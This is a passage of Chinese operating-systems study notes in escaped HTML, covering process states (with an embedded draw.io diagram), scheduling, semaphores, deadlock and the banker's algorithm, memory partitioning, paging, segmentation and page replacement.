页\u0026quot;\u0026gt;3VlLc6M4EP41OjoFCIM4Cj9mtipTla0cMpkbMTJmCiOvkGN7fv2qhXgZ7PFsnMS1l0RqtVpI/XV/LRnhyXr/RUSb1Tcesww5VrxHeIocxx1b6i8IDqXACexSkIg0LkUtwWP6ixmhmZds05gVHUXJeSbTTVe44HnOFrIji4Tgu67akmfdVTdRwnqCx0WU9aVPaSxXZlseaQ18ZWmyMktjbJkvX0eVthEUqyjmu5YIzxCeCM5l2VrvJyyDw6sOppw3PzFaf4BgubxkgsR/O2u6368Or/ghjL4tv7h0ZBszhTxUW2axOgHTzXmu/oWCb/OYgR1L9biQK57wPMruOd8ooa2EP5mUB+O/aCu5Eq3kOjOjbJ/K7zD9zh+b7rOxBu3pvt05VJ1cisP3due5ZQL6zTzdqyYueS7Np9jQL2QkJAU0NFvSsnmaZbWFuNLgG5aXkta4Uk+YfGAiXTPJxOMmWqR5YgbLM4SDO+mb6pz5ViyMVsh/cPG02xVPf8UFy51Z8WM+cgzI9XJn9HCNIBV6jKuPEgc1T7Askulr9zsiEwRJrdfARDUMUv4ENbg0/BplW7MUmvmIThEJ0GyMwhkiY5AEFBEXzQgKx7rhoZCiwAIdMkd0rnVcRAlyvExtN3wRqpVA66xBF+yQUDdCFHqgQ5XOBJYgBJYYgvV99KLSUweZUZYmytvThfIUE0rwyoRMVQKgZuCFS8nXEASsSH9FL9oeOH3D01zqkx2HaDwdwF0Gyz3wIpUpH1zj/khBQjipaJOREWDHruEFk9h+KOuZj2pSTRt4Z8K+Dx9j3rqzsGOQeDGijLUHOJaWCl8uC4XkY8jVi16EwnOh0gFhgAICkAA82CiY9WDQpDI42d0qlQxiGUZ3isGOwCEWxp/j47zi1X4ZiPKeq06etFsRneFHXLlw17CNb0SrFs+41juFtnPmxN6Y/Kt2mcUrHhjO/WfT7VGupsUhX/QS9mVJv2KYu5pTnttjJwjmivkeX5jv3Tfm+6PoNPDzgy78ergyfihnvSmEB9E2wCOGCIpNlHdw6P2zhUpJB+Go0FijSsG2NnvtkWq84Q8PBb7mhkA3XOAPRSfEb1inpg2zqtpEubCx0WKlt3zK9fZEEHUQLTcX6j0F0FVJD6hwohtj4EpFgmqXiiWpr/l3DvpAqUTzpmJJCqZAeYqodfIAPp9F23RI/jurXp9End9xqIudTnTZt86oQ2WdKr4sFNoaTSGi9NYZdewdpTT7kxnV/+AbFnb8FtGOFA6tSjDMtVe4Lg1T8HkSV59QD12fV9+HLz38uXxJBgK0n9wJhCzBOnZVlveulsXN/eT9L0INXRwl/+tncf9sNlHhY2PX7Th9dEt5fPh6N3z9fbec8weFfV1y291Hnf/zm457YY1/oqD4oDedoev00BNMiPUFW5cDwVxXkCrt6DKb6Gqy/9wz8LjTf8EpDWJd2k7B8g3UnjdTa9rWMDaaYtMj+IbS0rk46CDMA3iVdxRq65vYbZeX/sc92Khu8+tA6YPmNxY8+xc=\u0026lt;/diagram\u0026gt;\u0026lt;/mxfile\u0026gt;\" style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cdefs/\u003e\u003cg\u003e\u003cpath d=\"M 52.5 110 L 148.27 31.42\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 145.94 37.86 L 149.14 30.71 L 141.5 32.44\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)rotate(321 101.53058412584721 66.50718590898293)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-end; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 67px; margin-left: 102px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 10px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e等待的资源可用\u003cbr /\u003e等待的事件完成\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"102\" y=\"67\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"10px\" text-anchor=\"middle\"\u003e等待的资源可用\u0026#xa;等待的事件完成\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"0\" y=\"110\" width=\"70\" height=\"40\" rx=\"20\" ry=\"20\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 130px; margin-left: 1px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e阻塞\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"35\" y=\"135\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e阻塞\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 220 20 L 335 110\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 110 L 331.64 102.93\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)rotate(38 282.3581231936787 64.32711195558534)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-end; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 64px; margin-left: 282px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 10px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e\u003cspan style=\"font-size: 10px;\"\u003e时间片用完\u003c/span\u003e\u003cbr style=\"font-size: 10px;\" /\u003e\u003cspan style=\"font-size: 10px;\"\u003e被更高优先级进程抢占\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"282\" y=\"64\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"10px\" text-anchor=\"middle\"\u003e时间片用完\u0026#xa;被更高优先级进程抢占\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"150\" y=\"0\" width=\"70\" height=\"40\" rx=\"20\" ry=\"20\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 20px; margin-left: 151px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e就绪\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"185\" y=\"25\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e就绪\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 322.89 109.72 L 220 30\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 220 30 L 223.39 37.05\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)rotate(38 274.9625420590812 80.17680624533784)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-start; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 80px; margin-left: 275px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 10px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e进程调度\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"275\" y=\"90\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"10px\" text-anchor=\"middle\"\u003e进程调度\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 300 130 L 72.24 130\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 78.12 126.5 L 71.12 130 L 78.12 133.5\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-end; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 127px; margin-left: 177px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 10px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e等待系统分配资源\u003cbr /\u003e事件结束\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"177\" y=\"127\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"10px\" text-anchor=\"middle\"\u003e等待系统分配资源\u0026#xa;事件结束\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"300\" y=\"110\" width=\"70\" height=\"40\" rx=\"20\" ry=\"20\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 130px; margin-left: 301px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e执行\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"135\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e执行\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003c/g\u003e\u003cswitch\u003e\u003cg requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\"/\u003e\u003ca transform=\"translate(0,-5)\" xlink:href=\"https://www.diagrams.net/doc/faq/svg-export-text-problems\" target=\"_blank\"\u003e\u003ctext text-anchor=\"middle\" font-size=\"10px\" x=\"50%\" y=\"100%\"\u003eText is not SVG - cannot display\u003c/text\u003e\u003c/a\u003e\u003c/switch\u003e\u003c/svg\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e进程控制\u003c/p\u003e\u003cul\u003e\u003cli\u003e系统对进程的控制和管理是通过操作系统内核中的原语实现的。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_106\"\u003e进程调度\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e交互式系统(分时系统)下的调度策略\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e时间片轮转法\u003c/strong\u003e(RR, Round Robin)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e优先级调度算法\u003c/strong\u003e:为系统中的每个进程规定一个优先数,就绪队列中具有最高优先数的进程有优先获得处理机的权利;如果几个进程的优先数相同,可则对它们实行 RR 调度策略。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e多级反馈队列调度算法\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e系统中维持多个不同优先级的就绪队列,每个就绪队列具有不同长度的时间片。\u003c/li\u003e\u003cli\u003e优先级高的就绪队列里的进程,获得的时间片短;优先级低的就绪队列里的进程,获得的时间片长。\u003c/li\u003e\u003cli\u003e新进程进入时加入优先级最高的就绪队列的末尾。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_107\"\u003e进程间的相互作用\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e两种相互作用\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e同步\u003c/strong\u003e:进程之间相互合作、协同工作的关系称为进程的同步。(直接制约)\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e互斥\u003c/strong\u003e:多个进程因为争夺临界资源而相互排斥执行的过程。(间接制约)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e临界资源\u003c/strong\u003e:也称独占资源,是指 在一段时间内只允许一个进程访问的资源。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e临界区\u003c/strong\u003e:使用临界资源的程序段。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e实现同步与互斥\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e加锁法\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e信号量和 P、V 操作\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e信号量\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e公用信号量\u003c/strong\u003e:用于进程间的互斥,初值通常为 1;\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e私有信号量\u003c/strong\u003e:用于进程间的同步,初值通常为 0 或 n。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eP 操作\u003c/strong\u003e:请求分配一个单位的资源。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eV 操作\u003c/strong\u003e:释放/增加一个单位的资源。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e管程\u003c/p\u003e\u003col\u003e\u003cli\u003e关于共享资源的一组数据结构和在这组数据结构上的一组相关操作。\u003c/li\u003e\u003cli\u003e\u003cp\u003e工作原理\u003c/p\u003e\u003col\u003e\u003cli\u003e条件变量(c)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewait(c)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003esignal(c)\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_108\"\u003e进程通信\u003c/h3\u003e\u003col\u003e\u003cli\u003e共享内存\u003c/li\u003e\u003cli\u003e消息传递\u003c/li\u003e\u003cli\u003e共享文件模式:管道(pipe)\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_109\"\u003e死锁\u003c/h2\u003e\u003ch3 id=\"toc_110\"\u003e死锁产生的必要条件\u003c/h3\u003e\u003col\u003e\u003cli\u003e互斥使用(资源独占)\u003c/li\u003e\u003cli\u003e非剥夺控制(不可强占)\u003c/li\u003e\u003cli\u003e零散请求\u003c/li\u003e\u003cli\u003e循环等待\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_111\"\u003e死锁的解决策略\u003c/h3\u003e\u003col\u003e\u003cli\u003e置之不理法:鸵鸟政策\u003c/li\u003e\u003cli\u003e事后处理法:让死锁发生,事后处理\u003c/li\u003e\u003cli\u003e积极防御法:不让死锁发生\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_112\"\u003e死锁的预防\u003c/h3\u003e\u003cp\u003e即破坏必要条件。\u003c/p\u003e\u003ch3 id=\"toc_113\"\u003e死锁的避免\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e允许死锁产生的条件存在。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e安全状态\u003c/strong\u003e:在这种状态下,存在一种资源分配顺序,使得所有进程顺利完成。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e单银行家算法\u003c/strong\u003e:满足最大需求后释放所有资源。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e多银行家算法\u003c/strong\u003e:多个资源的单银行家算法。\u003c/p\u003e\u003col\u003e\u003cli\u003esum 向量:系统资源总量\u003c/li\u003e\u003cli\u003eallocation 向量:当前系统已分配资源\u003c/li\u003e\u003cli\u003eavailable 向量:系统剩余资源\u003c/li\u003e\u003cli\u003esum(i):第 i 个进程资源需求总量\u003c/li\u003e\u003cli\u003eallocation(i):第 i 个进程已分配资源总量\u003c/li\u003e\u003cli\u003eclaim(i):第 i 个资源仍需申请资源数\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_114\"\u003e死锁的检测和解除\u003c/h3\u003e\u003ch4 id=\"toc_115\"\u003e资源分配图\u003c/h4\u003e\u003ch5 id=\"toc_116\"\u003e两类资源\u003c/h5\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e永久性资源\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e圆\u003c/strong\u003e(椭圆)表示一个进程。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e方块\u003c/strong\u003e表示一个资源类,其中的圆点表示该类型资源中的单个资源。\u003c/li\u003e\u003cli\u003e从\u003cstrong\u003e资源指向进程的箭头\u003c/strong\u003e表示资源被\u003cstrong\u003e分配\u003c/strong\u003e给了这个进程。\u003c/li\u003e\u003cli\u003e从\u003cstrong\u003e进程指向资源的箭头\u003c/strong\u003e表示进程\u003cstrong\u003e申请\u003c/strong\u003e一个这类资源。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e临时性资源\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e圆\u003c/strong\u003e(椭圆)表示一个进程。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e方块\u003c/strong\u003e表示一个资源类,其中的圆点表示该类型资源中的单个资源。\u003c/li\u003e\u003cli\u003e由\u003cstrong\u003e进程指向资源的箭头\u003c/strong\u003e表示该进程申请这种资源,一个箭头只表示申请一个资源。\u003c/li\u003e\u003cli\u003e由\u003cstrong\u003e资源类指向进程的箭头\u003c/strong\u003e表示该进程产生这种资源,\u003cstrong\u003e一个箭头可表示产生一到多个资源,每个资源类至少有一个生产者进程\u003c/strong\u003e。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch5 id=\"toc_117\"\u003e化简\u003c/h5\u003e\u003cblockquote\u003e\u003cp\u003e对于临时性资源,如果其生产者进程不被阻塞,就可以认为其数量是无穷的。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e从那些没有阻塞的进程入手,删除那些没有阻塞的进程的请求边,并使资源类中资源数(黑点的数目)减 1,删至直到图中不存在无阻塞的进程。\u003c/p\u003e\u003cp\u003e如果图中仍有请求边且无法再化简,则系统死锁。\u003c/p\u003e\u003ch4 id=\"toc_118\"\u003e死锁的解除\u003c/h4\u003e\u003col\u003e\u003cli\u003e重新启动\u003c/li\u003e\u003cli\u003e撤消进程\u003c/li\u003e\u003cli\u003e剥夺资源\u003c/li\u003e\u003cli\u003e进程回退\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_119\"\u003e存储管理\u003c/h2\u003e\u003ch3 id=\"toc_120\"\u003e程序的转化过程\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e链接\u003c/p\u003e\u003col\u003e\u003cli\u003e静态链接\u003c/li\u003e\u003cli\u003e装入时动态链接\u003c/li\u003e\u003cli\u003e运行时动态链接\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e程序的装入(涉及到\u003cstrong\u003e地址重定位\u003c/strong\u003e)\u003c/p\u003e\u003col\u003e\u003cli\u003e绝对装入(Absolute loading)/ 固定地址再定位\u003c/li\u003e\u003cli\u003e可重定位装入(Relocatable Loading)/ 静态重定位\u003c/li\u003e\u003cli\u003e运行时重定位 / 动态重定位\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_121\"\u003e分区存储管理方案\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e内碎片\u003c/strong\u003e:指占用分区之内未被利用的空间。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e外碎片\u003c/strong\u003e:指占用的分区之间难以利用的狭小空闲分区。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_122\"\u003e连续分配方式\u003c/h4\u003e\u003col\u003e\u003cli\u003e单一连续分区管理:内存中一次只能装入一个用户程序,程序独占整个用户区。\u003c/li\u003e\u003cli\u003e\u003cp\u003e固定分区管理\u003c/p\u003e\u003col\u003e\u003cli\u003e优点:内存的利用率提高了;可以支持多道程序。\u003c/li\u003e\u003cli\u003e缺点:存在内碎片,造成存储空间的浪费;分区总数固定,限制了并发执行的程序数目。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e动态分区管理(可变分区)\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003e分区分配算法\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最先(首次)适应算法\u003c/strong\u003e(first-fit):顺序查找\u003c/p\u003e\u003cul\u003e\u003cli\u003e倾向于使用内存中低地址部分的空闲分区,在高地址部分的空闲分区很少被利用,从而保留了高地址部分的大空闲区,可为以后到达的大作业分配大的内存空间创造了条件。\u003c/li\u003e\u003cli\u003e缺点:低址部分不断被划分,留下许多难以利用、很小的空闲区(外碎片),而每次查找又都从低址部分开始,会增加查找的开销。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e邻近(下次/循环)适应算法\u003c/strong\u003e(next-fit):从最近处顺序查找\u003c/p\u003e\u003cul\u003e\u003cli\u003e能使空闲中的内存分区分布得更加均匀,但将会缺乏大的空闲分区。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最佳适应算法\u003c/strong\u003e(best-fit):按从小到大顺序\u003c/p\u003e\u003cul\u003e\u003cli\u003e在存储器中将留下许多难以利用的小空闲区(外碎片)。每次分配后必须重新排序,这也带来了一定的开销。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最坏适应算法\u003c/strong\u003e(worst-fit):按从大到小顺序\u003c/p\u003e\u003cul\u003e\u003cli\u003e克服了最佳适应算法留下的许多小的碎片的不足,但保留大的空闲区的可能性减小了。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003e分区释放方式\u003c/strong\u003e:相邻合并,否则插入。\u003c/p\u003e\u003ch4 id=\"toc_123\"\u003e离散分配方式\u003c/h4\u003e\u003ch5 id=\"toc_124\"\u003e页式存储管理:等分内存空间\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e页表\u003c/strong\u003e:记录每一个作业的页号到页框号(实页号)之间的映射关系。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e优点\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e程序不必连续存放\u003c/li\u003e\u003cli\u003e没有外碎片\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e缺点\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e程序要一次全部装入内存\u003c/li\u003e\u003cli\u003e页表体积庞大,维护麻烦\u003c/li\u003e\u003cli\u003e依然存在内碎片(大小平均为半个页面)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e局限性\u003c/p\u003e\u003col\u003e\u003cli\u003e不便于实现共享\u003c/li\u003e\u003cli\u003e一个程序只有一个虚拟地址空间\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch5 id=\"toc_125\"\u003e段式存储管理:按逻辑分段\u003c/h5\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e优点\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e程序不必连续存放\u003c/li\u003e\u003cli\u003e没有内碎片\u003c/li\u003e\u003cli\u003e程序尺寸几乎不受限制\u003c/li\u003e\u003cli\u003e便于实现共享\u003c/li\u003e\u003cli\u003e段表很小(段数量很少)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e缺点\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e作业要一次全部装入内存(至少一个段要全部加载到连续内存)\u003c/li\u003e\u003cli\u003e存在外碎片\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch5 id=\"toc_126\"\u003e段页式存储管理\u003c/h5\u003e\u003cp\u003e结合了页式和段式,段里存页。\u003c/p\u003e\u003cp\u003e为了获得一条指令或者数据,需要访问内存三次(访问表两次,访问物理地址一次)。\u003c/p\u003e\u003ch3 id=\"toc_127\"\u003e内存扩充技术\u003c/h3\u003e\u003col\u003e\u003cli\u003e覆盖技术(Overlay)(作业内部,对程序结构有影响)\u003c/li\u003e\u003cli\u003e交换技术(Swapping)(作业之间,对程序结构无影响)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_128\"\u003e虚拟页式存储技术\u003c/h3\u003e\u003ch4 id=\"toc_129\"\u003e工作原理\u003c/h4\u003e\u003ch4 id=\"toc_130\"\u003e页面淘汰算法\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e先进先出页面淘汰算法(FIFO)\u003c/p\u003e\u003cul\u003e\u003cli\u003e可用页面数增大,缺页率反而升高(Belady 现象)。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e最近最少使用页面淘汰算法(LRU, Least Recently Used)\u003c/p\u003e\u003cul\u003e\u003cli\u003e无 Belady 